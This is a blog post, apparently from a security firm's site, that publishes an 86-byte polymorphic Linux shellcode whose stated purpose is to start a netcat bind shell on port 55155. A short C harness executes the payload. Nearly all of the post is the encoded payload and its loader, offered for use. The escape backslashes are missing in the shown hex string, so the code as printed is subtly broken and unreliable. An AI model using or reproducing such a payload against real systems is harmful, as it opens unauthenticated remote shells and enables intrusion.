86 Bytes – Polymorphic “netcat bindport 55155” Shellcode

/*
Name    : 86 bytes "polymorphic - netcat bindport 55155"
Info    : this shellcode create a bindport 55155 with netcat
Author  : otoy
Blog    : http://otoyrood.wordpress.com
Date    : August 2010
Tested on: ubuntu 8.04 & Backtrack 4
*/

#include <stdio.h>

char shellcode[] =

"xebx13x5ex31xc9xb1x3cx80x2ex45x80x36x45x80x06"
"x45x46xe2xf4xebx05xe8xe8xffxffxffxeex83x46x7d"
"x93xabxb1xf4xb1xa0xabxf4xf4x9dxa6x46x20x93xab"
"xfaxeexfaxfaxabxf2xa7xb3xfax46x1ex93xabxf4xf4"
"xb0xabxabxf4x9dxa6xb1xabxf2xa0xf4xf4x46x1dx93"
"x73xc8x8dx8ex90x46x1exeex0dx12xc3";

int main(void)
{
 fprintf(stdout,"[*] Shellcode length: %dn",strlen(shellcode));
 ((void (*)(void)) shellcode)();

 return 0;
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

About Spentera

We are specializing in penetration test, vulnerability assessment, computer forensics, as well as intrusion analyst and malware analysis. Customers can contact us directly at contact[at]spentera[dot]id, or use Contact Our Team menu on the sidebar.